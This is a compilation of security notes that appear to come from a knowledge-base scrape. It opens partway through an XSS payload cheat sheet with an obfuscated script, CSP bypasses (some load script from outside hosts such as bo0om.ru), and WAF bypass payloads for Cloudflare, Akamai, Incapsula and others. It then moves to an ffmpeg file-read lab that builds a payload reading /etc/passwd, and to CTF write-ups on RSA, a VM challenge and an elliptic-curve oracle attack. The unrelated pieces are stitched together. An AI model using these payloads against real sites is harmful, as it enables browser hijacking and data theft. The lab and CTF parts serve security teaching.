<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> <script>(+[])[([][(</script> ``` ### Bypass using jsfuck Bypass using [jsfuck](http://www.jsfuck.com/) ```javascript [][( ``` ## CSP Bypass Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://websecblog.com/vulns/google-csp-evaluator/) ### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27)) //google.com/complete/search?client=chrome&jsonp=alert(1); ```js <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" ``` More JSONP endpoints: * [/Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt) * [JSONBee/jsonp.txt](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) ### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa) Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;) ```js script=document.createElement('script'); script.src='//bo0om.ru/csp.js'; window.frames[0].document.head.appendChild(script); ``` ### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f) ```js // CSP Bypass with Inline and Eval d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000) ``` ### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen) Works for CSP like `script-src self` ```js <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> ``` ### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072) Works for CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src). ```javascript <script src="data:,alert(1)">/</script> ``` ## Common WAF Bypass ### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/bohdansec) #### 25st January 2021 ```html <svg/onrandom=random onload=confirm(1)> <video onnull=null onmouseover=confirm(1)> ``` #### 21st April 2020 ```html <svg/OnLoad="`${prompt``}`"> ``` #### 22nd August 2019 ```html <svg/onload=%26nbsp;alert`bohdan`+ ``` #### 5th June 2019 ```html 1'"><img/src/onerror=.1|alert``> ``` #### 3rd June 2019 ```html <svg onload=prompt%26%230000000040document.domain)> <svg onload=prompt%26%23x000000028;document.domain)> xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'> ``` ### Cloudflare XSS Bypass - 22nd March 2019 (by @RakeshMane10) ``` <svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f ``` ### Cloudflare XSS Bypass - 27th February 2018 ```html <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a> ``` ### Chrome Auditor - 9th August 2018 ```javascript </script><svg><script>alert(1)-%26apos%3B ``` Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B) ### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th March 2018 ```javascript anythinglr00</script><script>alert(document.domain)</script>uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` ### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th September 2018 ```javascript <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> ``` ### Incapsula WAF Bypass by [@daveysec](https://twitter.com/daveysec/status/1126999990658670593) - 11th May 2019 ```html <svg onload\r\n=$.globalEval("al"+"ert()");> ``` ### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th June 2018 ```javascript ?"></script><base%20c%3D=href%3Dhttps:\mysite> ``` ### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th October 2018 ```html <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> ``` ### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th September 2018 ```javascript <a href=javas&#99;ript:alert(1)> ``` ### Fortiweb WAF Bypass by [@rezaduty](https://twitter.com/rezaduty) - 9th July 2019 ```javascript \u003e\u003c\u0068\u0031 onclick=alert('1')\u003e ``` ## Labs * [PortSwigger Labs for XSS](https://portswigger.net/web-security/all-labs#cross-site-scripting) ## References - [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot) - tbm - [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html) - [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/) - [RPO Gadget - innerthmtl](https://web.archive.org/web/20220521125028/https://blog.innerht.ml/rpo-gadgets/) - [Relative Path Overwrite - Detectify](https://support.detectify.com/support/solutions/articles/48001048955-relative-path-overwrite) - [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass) - [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html) - [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html) - [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://www.buaq.net/go-25883.html) - [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309) - [D1T1 - Michele Spagnuolo and Lukas Wilschelbaum - So We Broke All CSPs](https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf) - [Sleeping stored Google XSS Awakens a $5000 Bounty](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by Patrik Fehrenbach - [RPO that lead to information leakage in Google](https://web.archive.org/web/20220521125028/https://blog.innerht.ml/rpo-gadgets/) by filedescriptor - [God-like XSS, Log-in, Log-out, Log-in](https://whitton.io/articles/uber-turning-self-xss-into-good-xss/) in Uber by Jack Whitton - [Three Stored XSS in Facebook](http://www.breaksec.com/?p=6129) by Nirgoldshlager - [Using a Braun Shaver to Bypass XSS Audit and WAF](https://blog.bugcrowd.com/guest-blog-using-a-braun-shaver-to-bypass-xss-audit-and-waf-by-frans-rosen-detectify) by Frans Rosen - [An XSS on Facebook via PNGs & Wonky Content Types](https://whitton.io/articles/xss-on-facebook-via-png-content-types/) by Jack Whitton - [Stored XSS in *.ebay.com](https://whitton.io/archive/persistent-xss-on-myworld-ebay-com/) by Jack Whitton - [Complicated, Best Report of Google XSS](https://sites.google.com/site/bughunteruniversity/best-reports/account-recovery-xss) by Ramzes - [Tricky Html Injection and Possible XSS in sms-be-vip.twitter.com](https://hackerone.com/reports/150179) by secgeek - [Command Injection in Google Console](http://www.pranav-venkat.com/2016/03/command-injection-which-got-me-6000.html) by Venkat S - [Facebook's Moves - OAuth XSS](http://www.paulosyibelo.com/2015/12/facebooks-moves-oauth-xss.html) by PAULOS YIBELO - [Stored XSS on developer.uber.com via admin account compromise in Uber](https://hackerone.com/reports/152067) by James Kettle (albinowax) - [Yahoo Mail stored XSS](https://klikki.fi/adv/yahoo.html) by Klikki Oy - [Abusing XSS Filter: One ^ leads to XSS(CVE-2016-3212)](http://mksben.l0.cm/2016/07/xxn-caret.html) by Masato Kinugawa - [Youtube XSS](https://labs.detectify.com/2015/06/06/google-xss-turkey/) by fransrosen - [Best Google XSS again](https://sites.google.com/site/bughunteruniversity/best-reports/openredirectsthatmatter) - by Krzysztof Kotowicz - [IE & Edge URL parsing Problem](https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/) - by detectify - [Google XSS subdomain Clickjacking](http://sasi2103.blogspot.sg/2016/09/combination-of-techniques-lead-to-dom.html) - [Microsoft XSS and Twitter XSS](https://wesecureapp.com/blog/xss-by-tossing-cookies/) - [Flash XSS mega nz](https://labs.detectify.com/2013/02/14/how-i-got-the-bug-bounty-for-mega-co-nz-xss/) - by frans - [xss in google IE, Host Header Reflection](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [Years ago Google xss](http://conference.hitb.org/hitbsecconf2012ams/materials/D1T2%20-%20Itzhak%20Zuk%20Avraham%20and%20Nir%20Goldshlager%20-%20Killing%20a%20Bug%20Bounty%20Program%20-%20Twice.pdf) - [xss in google by IE weird behavior](http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html) - [xss in Yahoo Fantasy Sport](https://web.archive.org/web/20161228182923/http://dawgyg.com/2016/12/07/stored-xss-affecting-all-fantasy-sports-fantasysports-yahoo-com-2/) - [xss in Yahoo Mail Again, worth $10000](https://klikki.fi/adv/yahoo2.html) by Klikki Oy - [Sleeping XSS in Google](https://blog.it-securityguard.com/bugbounty-sleeping-stored-google-xss-awakens-a-5000-bounty/) by securityguard - [Decoding a .htpasswd to earn a payload of money](https://blog.it-securityguard.com/bugbounty-decoding-a-%F0%9F%98%B1-00000-htpasswd-bounty/) by securityguard - [Google Account Takeover](http://www.orenh.com/2013/11/google-account-recovery-vulnerability.html#comment-form) - [AirBnb Bug Bounty: Turning Self-XSS into Good-XSS #2](http://www.geekboy.ninja/blog/airbnb-bug-bounty-turning-self-xss-into-good-xss-2/) by geekboy - [Uber Self XSS to Global XSS](https://httpsonly.blogspot.hk/2016/08/turning-self-xss-into-good-xss-v2.html) - [How I found a $5,000 Google Maps XSS (by fiddling with Protobuf)](https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff#.cktt61q9g) by Marin MoulinierFollow - [Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) by Brett - [XSSI, Client Side Brute Force](http://blog.intothesymmetry.com/2017/05/cross-origin-brute-forcing-of-saml-and.html) - [postMessage XSS on a million sites - December 15, 2016 - Mathias Karlsson](https://labs.detectify.com/2016/12/15/postmessage-xss-on-a-million-sites/) - [postMessage XSS Bypass](https://hackerone.com/reports/231053) - [XSS in Uber via Cookie](http://zhchbin.github.io/2017/08/30/Uber-XSS-via-Cookie/) by zhchbin - [Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP](https://hackerone.com/reports/207042) by frans - [XSS due to improper regex in third party js Uber 7k XSS](http://zhchbin.github.io/2016/09/10/A-Valuable-XSS/) - [XSS in TinyMCE 2.4.0](https://hackerone.com/reports/262230) by Jelmer de Hen - [Pass uncoded URL in IE11 to cause XSS](https://hackerone.com/reports/150179) - [Twitter XSS by stopping redirection and javascript scheme](http://blog.blackfan.ru/2017/09/devtwittercom-xss.html) by Sergey Bobrov - [Auth DOM Uber XSS](http://stamone-bug-bounty.blogspot.hk/2017/10/dom-xss-auth_14.html) - [XSS in www.yahoo.com](https://www.youtube.com/watch?v=d9UEVv3cJ0Q&feature=youtu.be) - [Stored XSS, and SSRF in Google using the Dataset Publishing Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html) - [Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd) - [XSS cheat sheet - PortSwigger](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf) - [Self Closing Script](https://twitter.com/PortSwiggerRes/status/1257962800418349056) - [Bypass < with <](https://hackerone.com/reports/639684) - [Bypassing Signature-Based XSS Filters: Modifying Script Code](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code)
sec-knowleage
# ffmpeg 任意文件读取漏洞环境 参考资料: - http://bobao.360.cn/learning/detail/4032.html - https://hackerone.com/reports/242831 - https://github.com/neex/ffmpeg-avi-m3u-xbin ## 环境搭建 编译及启动环境 ``` docker compose build docker compose up -d ``` 环境启动后监听8080端口,访问`http://your-ip:8080/`即可查看。 ## 漏洞利用 漏洞原理不再赘述,直接下载exp,并生成payload: ``` # 下载exp git clone https://github.com/neex/ffmpeg-avi-m3u-xbin cd ffmpeg-avi-m3u-xbin # 生成payload ./gen_xbin_avi.py file:///etc/passwd exp.avi ``` 生成exp.avi,在`http://your-ip:8080/`上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中: ![](01.png) 你也可以执行`docker compose exec web bash`进入本环境内部,测试ffmpeg。
sec-knowleage
# Mini RSA Category: Crypto, 70 points ## Description > What happens if you have a small exponent? There is a twist though, we padded the plaintext so that (M ** e) is just barely larger than N. > > Let's decrypt this: ``` N: 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287 e: 3 ciphertext (c): 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808154521995312832362835648711819155169679435239286935784452613518014043549023137530689967601174246864606495200453313556091158637122956278811935858649498244722557014003601909465057421728834883411992999408157828996722087360414577252630186866387785481057649036414986099181831292644783916873710123009473008639825720434282893177856511819939659625989092206115515005188455003918918879483234969164887705505900695379846159901322053253156096586139847768297521166448931631916220211254417971683366167719596219422776768895460908015773369743067718890024592505393221967098308653507944367482969331133726958321767736855857529350486000867434567743580745186277999637935034821461543527421831665171525793988229518569050 ``` ## Solution In RSA, `M**3 mod n = c`. This can also be written as `M**3 = tn + c` for some `t`. So, this means that `M = iroot(tn+c, 3)`. We just need to find the right `t`. Given that `(M ** 3)` is only "barely" larger than `n`, it shouldn't take long: ```python import gmpy2 n = 1615765684321463054078226051959887884233678317734892901740763321135213636796075462401950274602405095138589898087428337758445013281488966866073355710771864671726991918706558071231266976427184673800225254531695928541272546385146495736420261815693810544589811104967829354461491178200126099661909654163542661541699404839644035177445092988952614918424317082380174383819025585076206641993479326576180793544321194357018916215113009742654408597083724508169216182008449693917227497813165444372201517541788989925461711067825681947947471001390843774746442699739386923285801022685451221261010798837646928092277556198145662924691803032880040492762442561497760689933601781401617086600593482127465655390841361154025890679757514060456103104199255917164678161972735858939464790960448345988941481499050248673128656508055285037090026439683847266536283160142071643015434813473463469733112182328678706702116054036618277506997666534567846763938692335069955755244438415377933440029498378955355877502743215305768814857864433151287 e = 3 c = 1220012318588871886132524757898884422174534558055593713309088304910273991073554732659977133980685370899257850121970812405700793710546674062154237544840177616746805668666317481140872605653768484867292138139949076102907399831998827567645230986345455915692863094364797526497302082734955903755050638155202890599808154521995312832362835648711819155169679435239286935784452613518014043549023137530689967601174246864606495200453313556091158637122956278811935858649498244722557014003601909465057421728834883411992999408157828996722087360414577252630186866387785481057649036414986099181831292644783916873710123009473008639825720434282893177856511819939659625989092206115515005188455003918918879483234969164887705505900695379846159901322053253156096586139847768297521166448931631916220211254417971683366167719596219422776768895460908015773369743067718890024592505393221967098308653507944367482969331133726958321767736855857529350486000867434567743580745186277999637935034821461543527421831665171525793988229518569050 for i in range(10000): m, is_true_root = gmpy2.iroot(i*n + c, e) if is_true_root: print(f"Found i = {i}") print("Message: {}".format(bytearray.fromhex(format(m, 'x')).decode())) break ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Mini_RSA] └─$ python3 solve.py Found i = 3533 Message: picoCTF{e_sh0u1d_b3_lArg3r_a166c1e3} ``` The flag: `picoCTF{e_sh0u1d_b3_lArg3r_a166c1e3}`
sec-knowleage
# Welcome (re, 96p, 49 solved) In the challege we get a [virtual machine code](vo-interpreter.c) and a [flag checking program](welcome_task.voprotected.c) implemented on this VM. We're lazy so before trying to analyse VM or at least translate the challege code to some assembly-like representation, we simply compiled this and run: ``` shalom@ubuntu:~/ctf/asis$ ./welcome Usage: program --left <num1> --right <num2> ``` We quickly check and it seems the values passed as parameters have to be 0-9, otherwise we get an error. So there are only 100 options to check, not too much. If we pass random values we get: ``` shalom@ubuntu:~/ctf/asis$ ./welcome --left 1 --right 2 flag iS n0t {thankS f0r participating aSiSctf2ol8} Flag Flag Flag! ``` We simply run this in a loop with all possible parameter: `python -c "[[__import__('os').system('echo %d %d;./welcome --left %d --right %d'%(left,right,left,right)) for left in range(10)] for right in range(10)]"` And we get for example: ``` 9 9 flag iS {vvelc0me_and_enj0y_aSiSctf20l8} Flag Flag Flag! ``` And the flag is `ASIS{vvelc0me_and_enj0y_aSiSctf20l8}`
sec-knowleage
# hiecss (Crypto 150) ###ENG [PL](#pl-version) In the task we get [source code](hiecss.py) of some elliptic curve - based encryption scheme. The most important part is: ```python e = 65537 order = 'Give me the flag. This is an order!' def decode(bs): if len(bs) < 0x40: return None s, m = int(bs[:0x40], 16), bs[0x40:] if s >= q: print('\x1b[31mbad signature\x1b[0m') return None S = s, sqrt(pow(s, 3, q) + a * s + b, q) if S[1] is None: print('\x1b[31mbad signature:\x1b[0m {:#x}'.format(S[0])) return None h = int(SHA256.new(m.encode()).hexdigest(), 16) if mul(q, a, b, e, S)[0] == h: return m else: print('\x1b[31mbad signature:\x1b[0m ({:#x}, {:#x})'.format(*S)) if __name__ == '__main__': q, a, b = map(int, open('curve.txt').read().strip().split()) for _ in range(1337): m = decode(input()) if m is not None and m.strip() == order: print(open('flag.txt').read().strip()) break ``` We can see that curve params come from the file and we don't know them. We can also query the server many times in a single session. The point is to provide input for which the `decode` function will return a string which stripped of spaces matches given string. The `decode` function splits our input using first 64 bytes as hex-encoded integer `s` and the rest as string `m` from wich sha256 hash value is calculated. In the end the second part of our input is returned if all conditions are met, therefore this value has to match the given messsage (but may contain some additional whitespaces at the end). First condition is that our integer `s` has to be smaller than `q` the program takes from curve definition file. In case we fail we get a nice error message. If we succeed we move to next condition, which has a different error message upon failure! We can exploit this in order to get `q` value precisely - we can use binary search based on the length or error message: ```python def form_payload_from_number(q): payload = hex(q)[2:] if "L" in payload: payload = payload[:-1] payload = ('0' * (64 - len(payload))) + payload return payload def get_q(s, msg): max_q = 2 ** 256 - 1 min_q = 0 q = 0 while True: q = (max_q - min_q) / 2 + min_q print(hex(q), max_q, min_q) payload = form_payload_from_number(q) s.sendall(payload + msg + "\n") result = s.recv(9999) if len(result) == 23: # our q too big max_q = q else: # our q was too small min_q = q print(result) if max_q == q or min_q == q: print("Found q", q) break return q ``` With this we recover `q = 0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c297L` We proceed to the next condition. Here we basically need to make sure our value `s` is actually `x` coordinate of a point `S` on the elliptic curve. It would be easier if we knew the said curve. There are however some trivial values which can get us past this check. The last check verifies if point on the curve with `x` coordinate equal to sha256 hash of the message we privided (let's call the point `H`) is equal to `S*e` on the curve. Again if we fail we get a nice error message, and this time it actually contains the `S` point for which we provided only the `x` coordiante. This way we provide `s` and we get `sqrt(pow(s, 3, q) + a * s + b, q)`. We exploit this to recover `a` and `b`: By sending `s = 0` we get as a result `sqrt(pow(0,3,q) + a*0 + b, q) = sqrt(b, q)` We only need to square the value mod q to recover `b mod q`: ```python b = pow(0x18aae6ca595e2b030870f49d1aa143f4b46864eceab492f6f5a0f0efc9c90e51, 2, q) ``` By sending `s = 2` we get as a result `sqrt(pow(2,3,q) + a*2 + b, q) = sqrt(2*a + 8 + b, q)` Again we just need a square and simple subtraction to recover `a mod q`: ```python a = (((pow(0x20d599b9106e16f43d0c0a54e78517f5834bf15ef0206a5ce37080e4cad4f359, 2, q) - b - 8) % q) / 2) ``` Now we have all curve parameters and we need to get such point `S` that `H` = `S*e`. For this we need a multiplicative inverse of `e` on the curve, because then `H*inverse_e = S*e*inverse_e = S`. We know `H`, or at least we can brute-force the message value so that hash from it will point to `x` coordinate on the curve, so we can get `H`. To calculate the inverse we need to know the number of points on the curve (the order/cardinality). For this we used Sage: ``` E = EllipticCurve(GF(q),[a,b]) E.cardinality() ``` Which gave us `order = 16503925798136106726026894143294039201930439456987742756395524593191976084900` as curve order. Now we just had to calculate `inverse_e = modinv(e, order)` and multiply some `H` on the curve by this value to get our point `S`: ```python def compute_point(a, b, q, field_order, msg): e = 65537 hx = int(hashlib.sha256(msg.encode()).hexdigest(), 16) hy = sqrt(pow(hx, 3, q) + a * hx + b, q) e_inv = gmpy2.invert(e, field_order) S = mul(q, a, b, e_inv, (hx, hy)) check = mul(q, a, b, e, S) assert check[0] == hx return S[0] ``` We test this on messages with appended more and more whitespaces and we get a hit after we add 4 spaces to the message -> `msg = 'Give me the flag. This is an order! '` Now we only need to send the `x` coordinate from the `S` point along with the message padded with 4 spaces and we get the flag in return: ```python def main(): msg = 'Give me the flag. This is an order! ' url = "130.211.200.153" port = 25519 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) sleep(1) # q = get_q(s, msg) q = 0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c297L field_order = 16503925798136106726026894143294039201930439456987742756395524593191976084900 b = pow(0x18aae6ca595e2b030870f49d1aa143f4b46864eceab492f6f5a0f0efc9c90e51, 2, q) a = (((pow(0x20d599b9106e16f43d0c0a54e78517f5834bf15ef0206a5ce37080e4cad4f359, 2, q) - b - 8) % q) / 2) p = compute_point(a, b, q, field_order, msg) payload = form_payload_from_number(p) payload += msg print(payload) s.sendall(payload + "\n") print(s.recv(9999)) ``` And we get `hxp{H1dd3n_Gr0uP_0rD3rz_4r3_5uPP0s3D_t0_B3_k3p7_h1DD3n!}` ###PL version W zadaniu dostajemy [kod źródłowy](hiecss.py) szyfrowania opartego o krzywe eliptyczne. Najważniejsza część to: ```python e = 65537 order = 'Give me the flag. This is an order!' def decode(bs): if len(bs) < 0x40: return None s, m = int(bs[:0x40], 16), bs[0x40:] if s >= q: print('\x1b[31mbad signature\x1b[0m') return None S = s, sqrt(pow(s, 3, q) + a * s + b, q) if S[1] is None: print('\x1b[31mbad signature:\x1b[0m {:#x}'.format(S[0])) return None h = int(SHA256.new(m.encode()).hexdigest(), 16) if mul(q, a, b, e, S)[0] == h: return m else: print('\x1b[31mbad signature:\x1b[0m ({:#x}, {:#x})'.format(*S)) if __name__ == '__main__': q, a, b = map(int, open('curve.txt').read().strip().split()) for _ in range(1337): m = decode(input()) if m is not None and m.strip() == order: print(open('flag.txt').read().strip()) break ``` Widać, że parametry krzywej czytane są z pliku i nie są nam znane. Możemy także odpytywać serwer wielokrotnie w jednej sesji. Naszym zadaniem jest podanie takich danych na wejście, aby wynik działania funkcji `decode` na nich, po usunięciu spacji pasował do podanego stringa. Funkcja `decode` dzieli dane biorąc pierwsze 64 bajty jako hex-encoded integer `s` a pozostałą część jako string `m` z którego następnie liczony jest hash sha256. Na koniec, jeśli spełnimy kilka warunków, jako wynik funkcji odsyłana jest wartość `m` więc ta wartość musi pasować do podanej w programie wiadomości (ale może zawierać na końcu dodatkowe białe znaki). Pierwszy warunek wymusza żeby integer `s` był mniejszy niż `q` które program bierze z pliku. Jeśli warunek nie jest spełniony dostajemy ładny komunikat błędu. Jeśli nam się powiedzie ale nie uda się kolejny warunek dostajemy inny komunikat błędu! Możemy wykorzystać to jako wyrocznie aby odzyskać wartość `q` - możemy użyć szukania binarnego bazując na długości wiadomości błędu: ```python def form_payload_from_number(q): payload = hex(q)[2:] if "L" in payload: payload = payload[:-1] payload = ('0' * (64 - len(payload))) + payload return payload def get_q(s, msg): max_q = 2 ** 256 - 1 min_q = 0 q = 0 while True: q = (max_q - min_q) / 2 + min_q print(hex(q), max_q, min_q) payload = form_payload_from_number(q) s.sendall(payload + msg + "\n") result = s.recv(9999) if len(result) == 23: # our q too big max_q = q else: # our q was too small min_q = q print(result) if max_q == q or min_q == q: print("Found q", q) break return q ``` W ten sposób odzyskujemy `q = 0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c297L` Przechodzimy do następnego warunku. Tutaj musimy generalnie upewnić się, że wartość `s` jest współrzędną `x` punktu `S` na krzywej eliptycznej. Byłoby prościej gdybyśmy wiedzieli co to za krzywa. Są jednak pewne trywialne punkty dla których możemy przejść ten warunek. Ostatni warunek sprawdza czy punkt na krzywej ze współrzędną `x` równą sha256 z naszej wiadomości (nazwijmy ten punkt `H`) jest równy `S*e` na krzywej. Znów jeśli nam się nie uda dostajemy błąd, tym razem zawierający współrzędne punktu `S` dla którego podaliśmy `x`. To oznacza że podajemy `s` a dostajemy `sqrt(pow(s, 3, q) + a * s + b, q)`. Wykorzystujemy to aby odzyskać `a` oraz `b`: Wysyłając `s = 0` dostajemy jako wynik `sqrt(pow(0,3,q) + a*0 + b, q) = sqrt(b, q)` Musimy to teraz tylko podnieść do kwadratu modulo q aby uzyskać `b mod q`: ```python b = pow(0x18aae6ca595e2b030870f49d1aa143f4b46864eceab492f6f5a0f0efc9c90e51, 2, q) ``` Wysyłając `s = 2` dostajemy jako wynik `sqrt(pow(2,3,q) + a*2 + b, q) = sqrt(2*a + 8 + b, q)` Znów musimy tylko podnieść do kwadratu i wynikać odejmowanie stałych aby dostać `a mod q`: ```python a = (((pow(0x20d599b9106e16f43d0c0a54e78517f5834bf15ef0206a5ce37080e4cad4f359, 2, q) - b - 8) % q) / 2) ``` Teraz mamy już wszystkie parametry krzywej i potrzebujemy znaleźć punkt `S` taki że `H` = `S*e`. Do tego potrzebujemy liczbę odwrotną dla `e` na krzywej, ponieważ `H*inverse_e = S*e*inverse_e = S`. Znamy `H`, a przynajmniej możemy je uzyskać metodą brute-force szukając stringa z podanym prefixem i spacjami na końcu, który hashuje się do `x` leżącego na krzywej, więc możemy poznać odpowiednie `H`. Aby policzyć liczbę odwrotną potrzebujemy znać liczbe punktów na krzywej. Do tego użyliśmy sage: ``` E = EllipticCurve(GF(q),[a,b]) E.cardinality() ``` Co dało nam: `order = 16503925798136106726026894143294039201930439456987742756395524593191976084900` jako liczność punktów na krzywej. Teraz potrzebujemy jedynie policzyć `inverse_e = modinv(e, order)` i pomnożyć przez jakieś `H` na krzywej aby dostać szukaną wartość punktu `S`: ```python def compute_point(a, b, q, field_order, msg): e = 65537 hx = int(hashlib.sha256(msg.encode()).hexdigest(), 16) hy = sqrt(pow(hx, 3, q) + a * hx + b, q) e_inv = gmpy2.invert(e, field_order) S = mul(q, a, b, e_inv, (hx, hy)) check = mul(q, a, b, e, S) assert check[0] == hx return S[0] ``` Testujemy tak koljne wiadomości dodając spacje aż przy dodanych 4 spacjach trafiamy na punkt na krzywej -> `msg = 'Give me the flag. This is an order! '` Teraz pozostaje jedynie wysłać na serwer współrzędna `x` punktu `S` razem z wiadomością powiększoną o 4 spacje aby dostać flagę: ```python def main(): msg = 'Give me the flag. This is an order! ' url = "130.211.200.153" port = 25519 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) sleep(1) # q = get_q(s, msg) q = 0x247ce416cf31bae96a1c548ef57b012a645b8bff68d3979e26aa54fc49a2c297L field_order = 16503925798136106726026894143294039201930439456987742756395524593191976084900 b = pow(0x18aae6ca595e2b030870f49d1aa143f4b46864eceab492f6f5a0f0efc9c90e51, 2, q) a = (((pow(0x20d599b9106e16f43d0c0a54e78517f5834bf15ef0206a5ce37080e4cad4f359, 2, q) - b - 8) % q) / 2) p = compute_point(a, b, q, field_order, msg) payload = form_payload_from_number(p) payload += msg print(payload) s.sendall(payload + "\n") print(s.recv(9999)) ``` I dostajemy 